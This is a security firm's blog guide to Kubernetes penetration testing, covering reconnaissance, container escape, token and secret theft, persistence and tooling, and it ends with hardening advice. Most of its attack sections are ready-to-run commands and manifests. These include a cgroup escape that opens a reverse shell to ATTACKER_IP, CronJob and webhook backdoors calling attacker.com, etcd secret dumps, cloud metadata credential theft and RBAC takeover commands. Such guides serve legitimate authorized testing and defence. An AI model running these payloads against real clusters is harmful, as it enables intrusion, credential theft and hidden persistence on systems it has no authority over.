Back to Blog
Penetration Testing35 min read2024-12-29

Kubernetes Penetration Testing: Complete Guide to K8s Security Assessment

Master Kubernetes penetration testing with comprehensive attack techniques, reconnaissance methods, exploitation strategies, and essential tools for assessing container orchestration security.

A

Asfaleia Team

Principal Security Consultant

Kubernetes Penetration Testing: Complete Guide to K8s Security Assessment
Sections

Introduction to Kubernetes Penetration Testing

Kubernetes has become the dominant container orchestration platform, running mission-critical workloads across enterprises worldwide. However, its complexity creates a vast attack surface that requires specialized penetration testing skills. This guide provides comprehensive coverage of Kubernetes security assessment methodologies, attack techniques, and tools.

Why Kubernetes Penetration Testing Matters:
94% of organizations experienced a Kubernetes security incident in 2023
Misconfigured clusters account for 55% of container security incidents
Default configurations are often insecure and exposed
Container escapes can lead to full cluster compromise
Service account tokens provide lateral movement opportunities
Key Testing Objectives:
Identify exposed Kubernetes components
Assess RBAC misconfigurations
Test container isolation boundaries
Evaluate secrets management
Discover lateral movement paths
Validate network segmentation

Kubernetes Attack Surface Overview

Understanding the attack surface is critical for effective penetration testing. Kubernetes exposes multiple components that can be targeted.

Control Plane Components

1. API Server (kube-apiserver)

The central management hub for all cluster operations
Exposes RESTful API on ports 6443 (HTTPS) or 8080 (HTTP)
Handles authentication, authorization, and admission control
Primary target for attackers seeking cluster control
Common Attack Vectors:
Anonymous authentication enabled
Weak or missing RBAC policies
Exposed API without network restrictions
Privilege escalation via RBAC misconfigurations

2. etcd

Distributed key-value store for all cluster data
Contains secrets, configurations, and state information
Default port: 2379 (client), 2380 (peer)
Direct access bypasses all Kubernetes security controls
Attack Opportunities:
Unauthenticated access (no TLS client certs)
Unencrypted data at rest
Network exposure without firewall rules
Direct secret extraction

3. Controller Manager

Manages cluster state through control loops
Handles node operations, deployments, and replica sets
Access enables cluster-wide manipulation

4. Scheduler

Assigns pods to nodes based on resource requirements
Manipulation can force workload placement on compromised nodes

Node Components

1. Kubelet

Primary node agent running on every worker node
Default ports: 10250 (HTTPS API), 10255 (read-only HTTP)
Manages pod lifecycle and container operations
Direct access enables container manipulation
Attack Vectors:
Anonymous authentication on port 10250
Read-only port (10255) information disclosure
Command execution in containers
Pod creation/manipulation

2. Kube-proxy

Manages network rules for service connectivity
Handles iptables/IPVS configuration
Exploitation affects cluster networking

3. Container Runtime (containerd, CRI-O, Docker)

Executes and manages containers
Container escapes target runtime vulnerabilities
Access enables host-level compromise

Networking Components

1. CNI (Container Network Interface)

Manages pod networking and IP allocation
Common implementations: Calico, Cilium, Flannel, Weave
Misconfigurations enable network attacks

2. Ingress Controllers

Handle external traffic routing
Common: NGINX, Traefik, HAProxy, Istio Gateway
Expose applications to internet attacks

3. Service Mesh (Istio, Linkerd, Consul Connect)

Manages service-to-service communication
mTLS misconfigurations
Sidecar injection vulnerabilities

Storage Components

CSI (Container Storage Interface)

Manages persistent storage provisioning
hostPath mounts enable host filesystem access
Secret volume mounts may expose credentials

Reconnaissance Techniques

External Enumeration

Shodan Queries for Kubernetes:
# Find exposed Kubernetes API servers
shodan search "kubernetes" port:6443
shodan search "kube-apiserver"
# Find exposed etcd instances
shodan search port:2379 product:etcd
# Find exposed Kubernetes dashboards
shodan search "kubernetes-dashboard"
shodan search "title:Kubernetes Dashboard"
# Find exposed kubelet APIs
shodan search port:10250 "kubelet"
shodan search port:10255
# Find exposed metrics servers
shodan search "metrics-server" port:443
Censys Searches:
# Kubernetes API servers
censys search 'services.kubernetes.api_server'
# etcd databases
censys search 'services.port=2379'
# Exposed dashboards
censys search 'services.http.response.html_title: "Kubernetes Dashboard"'
DNS Enumeration:
# Subdomain enumeration for k8s infrastructure
subfinder -d target.com | grep -E "k8s|kube|kubernetes|cluster|api|etcd"
# DNS brute forcing
gobuster dns -d target.com -w kubernetes-wordlist.txt
# Common Kubernetes subdomains to check
# api.k8s.target.com
# kubernetes.target.com
# k8s.target.com
# dashboard.k8s.target.com
# etcd.target.com
# registry.target.com
Port Scanning:
# Comprehensive Kubernetes port scan
nmap -sV -sC -p 2379,2380,6443,8001,8080,8443,9090,10250,10255,10256,30000-32767 target.com
# Service detection
nmap -sV --script=kubernetes-info target.com -p 6443,10250
# UDP scan for relevant services
nmap -sU -p 8285,8472 target.com

Internal Enumeration with kubectl

Cluster Information Gathering:
# Get cluster info
kubectl cluster-info
kubectl cluster-info dump
# API server version and features
kubectl version --short
kubectl api-versions
kubectl api-resources
# Get all namespaces
kubectl get namespaces
# Get all resources across namespaces
kubectl get all --all-namespaces
kubectl get all -A -o wide
RBAC Enumeration:
# Current user permissions
kubectl auth can-i --list
kubectl auth can-i --list --as=system:anonymous
# Check specific permissions
kubectl auth can-i create pods
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'
# List all cluster roles
kubectl get clusterroles
kubectl get clusterrolebindings
# List namespace roles
kubectl get roles --all-namespaces
kubectl get rolebindings --all-namespaces
# Describe specific roles
kubectl describe clusterrole cluster-admin
kubectl describe clusterrolebinding cluster-admin
# Find overprivileged service accounts
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects'
Service Account Discovery:
# List all service accounts
kubectl get serviceaccounts --all-namespaces
# Get service account details
kubectl get serviceaccount default -o yaml
# Find pods with mounted tokens
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.automountServiceAccountToken != false) | {name: .metadata.name, namespace: .metadata.namespace}'
# Check service account secrets
kubectl get secrets --all-namespaces | grep service-account-token
Secrets Enumeration:
# List all secrets
kubectl get secrets --all-namespaces
# Get secret contents (base64 decoded)
kubectl get secret <secret-name> -o jsonpath='{.data}' | base64 -d
# Find Docker registry secrets
kubectl get secrets --all-namespaces -o json | jq '.items[] | select(.type=="kubernetes.io/dockerconfigjson")'
# Find TLS secrets
kubectl get secrets --all-namespaces -o json | jq '.items[] | select(.type=="kubernetes.io/tls")'

Service Account Token Discovery

Finding Tokens Inside Pods:
# Default token location
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# CA certificate
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Environment variables
env | grep -i kube
Using Found Tokens:
# Set token for kubectl
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
# API server from environment
export APISERVER=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
# Make API calls
curl -s -k -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces
# Configure kubectl with token
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get pods

Cloud Metadata Service Access

AWS IMDS (Instance Metadata Service):
# IMDSv1 (deprecated but often available)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# IMDSv2 (requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
# Get temporary credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ | xargs -I {} curl http://169.254.169.254/latest/meta-data/iam/security-credentials/{}
GCP Metadata Service:
# Get instance metadata
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/
# Get service account token
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# Get project information
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/project/project-id
# List available scopes
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
Azure IMDS:
# Get instance metadata
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# Get managed identity token
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Get subscription info
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance/compute/subscriptionId?api-version=2021-02-01&format=text"

DNS Enumeration Within Cluster

Kubernetes DNS Discovery:
# Get DNS service IP
cat /etc/resolv.conf
# Query Kubernetes DNS
nslookup kubernetes.default.svc.cluster.local
dig kubernetes.default.svc.cluster.local
# Enumerate services via DNS
dig srv _http._tcp.kubernetes.default.svc.cluster.local
# Find services in namespace
dig any *.default.svc.cluster.local
dig any *.kube-system.svc.cluster.local
# Brute force service names
for svc in api dashboard etcd metrics prometheus grafana; do
  dig $svc.default.svc.cluster.local +short
done
Service Discovery Script:
#!/bin/bash
# Enumerate all services via DNS
NAMESPACES="default kube-system kube-public monitoring logging"
SERVICES="kubernetes dashboard api etcd prometheus grafana elasticsearch kibana"
for ns in $NAMESPACES; do
  echo "=== Namespace: $ns ==="
  for svc in $SERVICES; do
    result=$(dig +short $svc.$ns.svc.cluster.local 2>/dev/null)
    if [ -n "$result" ]; then
      echo "Found: $svc.$ns.svc.cluster.local -> $result"
    fi
  done
done

Common Vulnerabilities and Attacks

1. Exposed Kubernetes Dashboard Without Authentication

Discovery:
# Check for exposed dashboards
curl -k https://target:8443/
curl -k https://target:443/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
# Shodan/Censys results
# Look for login bypass or skip button
Exploitation:
# If dashboard is accessible without auth
# Navigate to Workloads > Pods
# Create new deployment with privileged container
# Dashboard YAML for malicious pod
apiVersion: v1
kind: Pod
metadata:
  name: pwned
  namespace: default
spec:
  containers:
  - name: pwned
    image: alpine
    command: ["/bin/sh", "-c", "sleep infinity"]
    securityContext:
      privileged: true
  hostNetwork: true
  hostPID: true
  hostIPC: true

2. Anonymous Kubelet Access

Testing for Anonymous Access:
# Check kubelet API (port 10250)
curl -sk https://target:10250/pods
curl -sk https://target:10250/runningpods
curl -sk https://target:10250/metrics
# Read-only port (often enabled by default)
curl -s http://target:10255/pods
curl -s http://target:10255/metrics
curl -s http://target:10255/spec
Kubelet API Exploitation:
# Using kubeletctl tool
kubeletctl pods -s target
kubeletctl runningpods -s target
# Execute commands in containers
kubeletctl exec "/bin/bash" -p <pod-name> -c <container-name> -s target
# Scan for vulnerable kubelets
kubeletctl scan --cidr 10.0.0.0/24
# Get container logs
kubeletctl logs -p <pod-name> -c <container-name> -s target

3. Privileged Container Escape

Identifying Privileged Containers:
# Find privileged pods
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged == true) | {name: .metadata.name, namespace: .metadata.namespace}'
# Check current container privileges
cat /proc/1/status | grep -i cap
capsh --print
Container Escape via Privileged Mode:
# If running as privileged container
# Method 1: Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
# Method 2: Access host via /proc
# Find host PID 1
cat /proc/1/cgroup
# If docker/containerd visible, we're in container
# Access host namespace
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Method 3: Load kernel module (if CAP_SYS_MODULE)
# Create malicious kernel module for reverse shell
Escape via cgroups (CVE-2022-0492 technique):
# Check if escape is possible
cat /proc/self/cgroup
# Create cgroup and exploit release_agent
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

4. hostPath Mount Abuse

Identifying hostPath Mounts:
# Find pods with hostPath volumes
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.volumes[]?.hostPath != null) | {name: .metadata.name, namespace: .metadata.namespace, hostPaths: [.spec.volumes[] | select(.hostPath != null) | .hostPath.path]}'
Exploiting hostPath for Privilege Escalation:
# Malicious pod with host filesystem access
apiVersion: v1
kind: Pod
metadata:
  name: hostpath-exploit
spec:
  containers:
  - name: exploit
    image: alpine
    command: ["/bin/sh", "-c", "sleep infinity"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
Post-Exploitation via hostPath:
# Inside the container with hostPath mounted
# Read sensitive files
cat /host/etc/shadow
cat /host/root/.ssh/id_rsa
cat /host/etc/kubernetes/pki/apiserver.key
# Write SSH keys for persistence
echo "attacker_pub_key" >> /host/root/.ssh/authorized_keys
# Modify kubelet configuration
cat /host/var/lib/kubelet/config.yaml
# Access container runtime socket
ls -la /host/var/run/docker.sock
ls -la /host/run/containerd/containerd.sock

5. Service Account Token Theft

Extracting Tokens:
# From inside a pod
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | jq
# From etcd directly (if accessible)
etcdctl get /registry/secrets/default/default-token --print-value-only
# Via kubelet API
curl -sk https://kubelet:10250/pods | jq '.items[].spec.containers[].volumeMounts[] | select(.name | contains("token"))'
Using Stolen Tokens:
# Check token permissions
kubectl --token=$TOKEN auth can-i --list
# Attempt privilege operations
kubectl --token=$TOKEN get secrets --all-namespaces
kubectl --token=$TOKEN create clusterrolebinding pwned --clusterrole=cluster-admin --serviceaccount=default:default
# Create new privileged workload
kubectl --token=$TOKEN apply -f malicious-pod.yaml

6. etcd Direct Access Without Authentication

Checking etcd Accessibility:
# Test unauthenticated access
etcdctl --endpoints=http://target:2379 endpoint health
etcdctl --endpoints=http://target:2379 get / --prefix --keys-only
# With certificate (if obtained)
etcdctl --endpoints=https://target:2379 \
  --cacert=/path/to/ca.crt \
  --cert=/path/to/client.crt \
  --key=/path/to/client.key \
  get / --prefix --keys-only
Extracting Secrets from etcd:
# List all secrets
etcdctl get /registry/secrets --prefix --keys-only
# Extract specific secret
etcdctl get /registry/secrets/default/my-secret --print-value-only
# Dump all secrets
etcdctl get /registry/secrets --prefix --print-value-only
# Extract service account tokens
etcdctl get /registry/secrets --prefix | grep -E "token|kubernetes.io/service-account-token" -A 5

7. CVE-2018-1002105: API Server Privilege Escalation

Background:

This critical vulnerability allows any authenticated user to escalate to cluster-admin through the API server's proxy functionality.

Affected Versions:
Kubernetes v1.0.0-v1.9.9
Kubernetes v1.10.0-v1.10.10
Kubernetes v1.11.0-v1.11.4
Exploitation Concept:
# The vulnerability exists in websocket upgrade requests
# through the API server proxy
# Step 1: Establish connection to aggregated API server
# Step 2: Send malformed websocket upgrade
# Step 3: Connection error leaves open TCP connection
# Step 4: Subsequent requests bypass authentication
# Detection - check version
kubectl version --short
# Mitigation: Upgrade to patched version

8. CVE-2020-8554: Man-in-the-Middle via LoadBalancer/ExternalIP

Vulnerability:

Allows attackers with pod creation rights to intercept traffic via malicious ExternalIP or LoadBalancer services.

Exploitation:
# Malicious service to intercept traffic
apiVersion: v1
kind: Service
metadata:
  name: mitm-service
spec:
  type: LoadBalancer
  externalIPs:
  - 10.0.0.1  # Target IP to intercept
  ports:
  - port: 443
    targetPort: 8443
  selector:
    app: attacker-pod
Detection:
# Find services with ExternalIPs
kubectl get services --all-namespaces -o json | jq '.items[] | select(.spec.externalIPs != null) | {name: .metadata.name, namespace: .metadata.namespace, externalIPs: .spec.externalIPs}'

9. Container Breakout Techniques

Exploiting CAP_SYS_ADMIN:
# Check capabilities
capsh --print
# If CAP_SYS_ADMIN present, mount host cgroups
mount -t cgroup -o memory cgroup /sys/fs/cgroup/memory
# Abuse user namespaces
unshare -Urm
Docker Socket Access:
# If /var/run/docker.sock is mounted
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host alpine nsenter -t 1 -m -u -n -i sh
Containerd Socket Access:
# If containerd socket is accessible
ctr -a /run/containerd/containerd.sock containers list
ctr -a /run/containerd/containerd.sock tasks exec --exec-id pwned <container-id> /bin/sh
CVE-2024-21626 (Leaky Vessels):
# Affects runc < 1.1.12
# Working directory file descriptor leak
# Allows container escape via /proc/self/fd access

Post-Exploitation Techniques

Lateral Movement

Pod-to-Pod Movement:
# Scan for accessible services
nmap -sT -p 1-65535 <service-cluster-ip>
# Access services via DNS
curl http://service-name.namespace.svc.cluster.local
# Use kubectl exec to move between pods
kubectl exec -it other-pod -- /bin/bash
Node-to-Node Movement:
# If SSH keys obtained from one node
ssh -i /host/root/.ssh/id_rsa root@other-node
# Via kubelet if credentials obtained
kubeletctl exec "/bin/bash" -p pod-name -c container -s other-node:10250
Leveraging Service Account Tokens:
# Find highly privileged service accounts
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name | contains("admin")) | {name: .metadata.name, subjects: .subjects}'
# Steal token from another namespace pod
kubectl exec -n kube-system <privileged-pod> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token

Secret Extraction

Kubernetes Secrets:
# List all secrets
kubectl get secrets --all-namespaces
# Extract and decode secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d
# Dump all secrets
kubectl get secrets --all-namespaces -o json | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, data: .data}'
Environment Variables:
# Check pods for secrets in env vars
kubectl get pods -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef != null)'
# Extract from running container
kubectl exec <pod> -- env | grep -iE "pass|secret|key|token|api"
ConfigMaps with Sensitive Data:
# List configmaps
kubectl get configmaps --all-namespaces
# Look for sensitive content
kubectl get configmaps --all-namespaces -o json | jq '.items[] | select(.data != null) | {namespace: .metadata.namespace, name: .metadata.name, keys: (.data | keys)}'

Persistence Mechanisms

1. Backdoor Container:
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: system-monitor
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: system-monitor
  template:
    metadata:
      labels:
        name: system-monitor
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: monitor
        image: alpine
        command: ["/bin/sh", "-c"]
        args:
        - |
          while true; do
            sleep 3600
            # Reverse shell or C2 callback
          done
        securityContext:
          privileged: true
        volumeMounts:
        - name: host
          mountPath: /host
      volumes:
      - name: host
        hostPath:
          path: /
2. CronJob Backdoor:
apiVersion: batch/v1
kind: CronJob
metadata:
  name: backup-job
  namespace: kube-system
spec:
  schedule: "*/5 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: backup
            image: alpine
            command: ["/bin/sh", "-c"]
            args:
            - |
              # Callback to C2
              curl http://attacker.com/beacon?host=$(hostname)
          restartPolicy: OnFailure
3. Malicious Admission Controller:
apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
  name: pod-modifier
webhooks:
- name: pod-modifier.attacker.com
  clientConfig:
    url: "https://attacker.com/mutate"
  rules:
  - operations: ["CREATE"]
    apiGroups: [""]
    apiVersions: ["v1"]
    resources: ["pods"]
  admissionReviewVersions: ["v1"]
  sideEffects: None
4. Static Pod Persistence:
# If you have node access, create static pod
# Location varies: /etc/kubernetes/manifests/ or /var/lib/kubelet/staticpods/
cat > /etc/kubernetes/manifests/backdoor.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: static-backdoor
spec:
  hostNetwork: true
  containers:
  - name: backdoor
    image: alpine
    command: ["/bin/sh", "-c", "sleep infinity"]
    securityContext:
      privileged: true
EOF

Cluster Takeover Scenarios

Scenario 1: RBAC Escalation to Cluster Admin:
# If can create rolebindings
kubectl create clusterrolebinding pwned --clusterrole=cluster-admin --serviceaccount=default:compromised-sa
# If can modify existing bindings
kubectl patch clusterrolebinding <existing-binding> --type='json' -p='[{"op": "add", "path": "/subjects/-", "value": {"kind": "ServiceAccount", "name": "attacker-sa", "namespace": "default"}}]'
Scenario 2: Node Compromise to Cluster Control:
# From compromised node, access kubelet credentials
cat /var/lib/kubelet/kubeconfig
cat /etc/kubernetes/kubelet.conf
# Use node credentials
kubectl --kubeconfig=/var/lib/kubelet/kubeconfig get nodes
# Bootstrap token (if available)
cat /etc/kubernetes/bootstrap-kubelet.conf
Scenario 3: etcd Manipulation:
# Direct RBAC manipulation via etcd
# Create cluster-admin binding
etcdctl put /registry/clusterrolebindings/pwned '{"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRoleBinding","metadata":{"name":"pwned"},"roleRef":{"apiGroup":"rbac.authorization.k8s.io","kind":"ClusterRole","name":"cluster-admin"},"subjects":[{"kind":"ServiceAccount","name":"default","namespace":"default"}]}'

Essential Pentesting Tools

1. kube-hunter

Purpose: Automated Kubernetes vulnerability scanning
# Installation
pip install kube-hunter
# Remote scan
kube-hunter --remote target.com
# Internal scan (from within cluster)
kube-hunter --pod --quick
# Active hunting (exploitation)
kube-hunter --remote target.com --active
# Scan network range
kube-hunter --cidr 192.168.0.0/24

2. Peirates

Purpose: Kubernetes penetration testing and post-exploitation
# Run Peirates
./peirates
# Common Peirates commands
# [1] Get current service account info
# [2] Switch service account
# [3] List secrets
# [4] Get secret
# [5] Create privileged pod
# [6] Execute into pod
# [7] AWS metadata access
# [8] GCP metadata access
# [9] TCP port scan

3. kubeletctl

Purpose: Direct kubelet API interaction
# Installation
go install github.com/cyberark/kubeletctl@latest
# List pods
kubeletctl pods -s target:10250
# Execute commands
kubeletctl exec "id" -p pod-name -c container-name -s target:10250
# Get container logs
kubeletctl logs -p pod-name -c container-name -s target:10250
# Scan for vulnerable kubelets
kubeletctl scan --cidr 10.0.0.0/24

4. kubesploit

Purpose: Post-exploitation framework for Kubernetes
# Modules available:
# - Service account token stealing
# - Container escape
# - Lateral movement
# - Persistence
# - Data exfiltration
# Start agent in compromised pod
./agent -server attacker.com:443

5. kdigger (Kubernetes Digger)

Purpose: Kubernetes-focused container breakout tool
# Run all discovery checks
kdigger all
# Specific checks
kdigger capabilities
kdigger token
kdigger environment
kdigger mount
kdigger usernamespace

6. kubectl Plugins

rbac-lookup:
# Install
kubectl krew install rbac-lookup
# Usage
kubectl rbac-lookup --kind user
kubectl rbac-lookup --kind serviceaccount
kubectl rbac-lookup default -k serviceaccount -n default
access-matrix:
# Install
kubectl krew install access-matrix
# Show access matrix
kubectl access-matrix --sa default -n default
kubectl access-matrix --as [email protected]
who-can:
# Install
kubectl krew install who-can
# Check who can perform actions
kubectl who-can create pods
kubectl who-can get secrets --all-namespaces
kubectl who-can '*' '*'

7. Trivy

Purpose: Comprehensive vulnerability scanner
# Scan cluster for misconfigurations
trivy k8s cluster --report summary
# Scan specific namespace
trivy k8s -n kube-system --report all
# Scan running containers for vulnerabilities
trivy k8s cluster --scanners vuln
# Generate compliance report
trivy k8s cluster --compliance k8s-nsa
trivy k8s cluster --compliance k8s-cis

8. Falco

Purpose: Runtime security and threat detection
# Detection rule example
- rule: Shell in container
  desc: Detect shell execution in container
  condition: >
    spawned_process and container and
    shell_procs and proc.tty != 0
  output: >
    Shell spawned (user=%user.name container=%container.name
    shell=%proc.name cmdline=%proc.cmdline)
  priority: WARNING
- rule: Read sensitive files
  desc: Detect reading of sensitive files
  condition: >
    open_read and container and
    (fd.name startswith /etc/shadow or
     fd.name startswith /etc/passwd or
     fd.name contains kubernetes.io/serviceaccount/token)
  output: >
    Sensitive file read (user=%user.name file=%fd.name)
  priority: WARNING

MITRE ATT&CK for Containers Mapping

Initial Access (TA0001)

| Technique | Kubernetes Context |

|-----------|-------------------|

| Exploit Public-Facing Application | Vulnerable workloads, exposed dashboards |

| External Remote Services | Exposed API server, kubelet API |

| Valid Accounts | Compromised kubeconfig, stolen service account tokens |

Execution (TA0002)

| Technique | Kubernetes Context |

|-----------|-------------------|

| Container Administration Command | kubectl exec, kubelet API |

| Deploy Container | Malicious pods, DaemonSets |

| User Execution | Social engineering for kubeconfig |

Persistence (TA0003)

| Technique | Kubernetes Context |

|-----------|-------------------|

| Account Manipulation | Service account token creation |

| Create or Modify System Process | Static pods, DaemonSets |

| Implant Internal Image | Backdoored images in registry |

| Scheduled Task/Job | CronJobs, malicious Jobs |

Privilege Escalation (TA0004)

| Technique | Kubernetes Context |

|-----------|-------------------|

| Escape to Host | Container breakout via privileged mode |

| Exploitation for Privilege Escalation | CVE exploitation (e.g., CVE-2018-1002105) |

| Valid Accounts | Abuse of overprivileged service accounts |

Defense Evasion (TA0005)

| Technique | Kubernetes Context |

|-----------|-------------------|

| Impair Defenses | Disabling admission controllers |

| Indicator Removal | Deleting audit logs, events |

| Masquerading | Pod name similarity to system pods |

Credential Access (TA0006)

| Technique | Kubernetes Context |

|-----------|-------------------|

| Unsecured Credentials | Secrets in env vars, ConfigMaps |

| Steal Application Access Token | Service account token theft |

| Brute Force | API server credential attacks |

Discovery (TA0007)

| Technique | Kubernetes Context |

|-----------|-------------------|

| Container and Resource Discovery | kubectl get commands |

| Network Service Discovery | Service enumeration, DNS discovery |

| Permission Groups Discovery | RBAC enumeration |

Lateral Movement (TA0008)

| Technique | Kubernetes Context |

|-----------|-------------------|

| Exploitation of Remote Services | Kubelet API, container runtime sockets |

| Internal Spearphishing | Targeting admin workstations |

| Use Alternate Authentication Material | Service account token reuse |

Collection (TA0009)

| Technique | Kubernetes Context |

|-----------|-------------------|

| Data from Local System | Secrets, ConfigMaps extraction |

| Data from Information Repositories | etcd data access |

Impact (TA0040)

| Technique | Kubernetes Context |

|-----------|-------------------|

| Data Destruction | Deleting persistent volumes, etcd |

| Resource Hijacking | Cryptomining deployments |

| Endpoint Denial of Service | Pod resource exhaustion |

Penetration Testing Methodology

Phase 1: Reconnaissance

1External enumeration (Shodan, Censys, DNS)
2Identify exposed Kubernetes components
3Version fingerprinting
4Document attack surface

Phase 2: Initial Access

1Test for anonymous API access
2Check kubelet authentication
3Look for exposed dashboards
4Test default credentials
5Search for leaked kubeconfigs

Phase 3: Exploitation

1Validate vulnerabilities
2Attempt container escape
3Test RBAC misconfigurations
4Exploit service account tokens
5Access cloud metadata services

Phase 4: Post-Exploitation

1Enumerate secrets and ConfigMaps
2Map lateral movement paths
3Identify persistence opportunities
4Assess blast radius
5Document cluster compromise path

Phase 5: Reporting

1Document all findings with evidence
2Map to MITRE ATT&CK framework
3Prioritize by risk and exploitability
4Provide specific remediation guidance
5Include hardening recommendations

Conclusion

Kubernetes penetration testing requires deep understanding of container orchestration architecture, cloud-native security concepts, and specialized tools. The attack surface is vast—from exposed API servers to container runtime vulnerabilities—and misconfigurations are prevalent.

Key Takeaways:
Default Kubernetes configurations are often insecure
Service accounts and RBAC are primary attack vectors
Container escapes can lead to full cluster compromise
Cloud metadata services provide credential theft opportunities
Proper network segmentation is critical
Recommendations:
Implement Pod Security Standards at "Restricted" level
Disable anonymous authentication on all components
Use network policies for micro-segmentation
Rotate service account tokens regularly
Enable comprehensive audit logging
Conduct regular penetration tests

Asfaleia-Tech offers specialized Kubernetes security assessments and penetration testing services. Contact us to secure your container infrastructure.

Tags

#Kubernetes#Penetration Testing#Container Security#Cloud Security#K8s#Red Team#MITRE ATT&CK

Downloadable-style takeaway

Use this as a working assessment checklist.

Pull the headings into your next security review, assign owners, and mark each section as ready, partial, or missing.

A

Written by

Asfaleia Team

Principal Security Consultant

Written by the Asfaleia Tech Security Team, combining field experience across offensive testing, detection engineering, incident readiness, and compliance evidence.

Ready to Strengthen Your Security?

Let's discuss how Asfaleia-Tech can help protect your organization.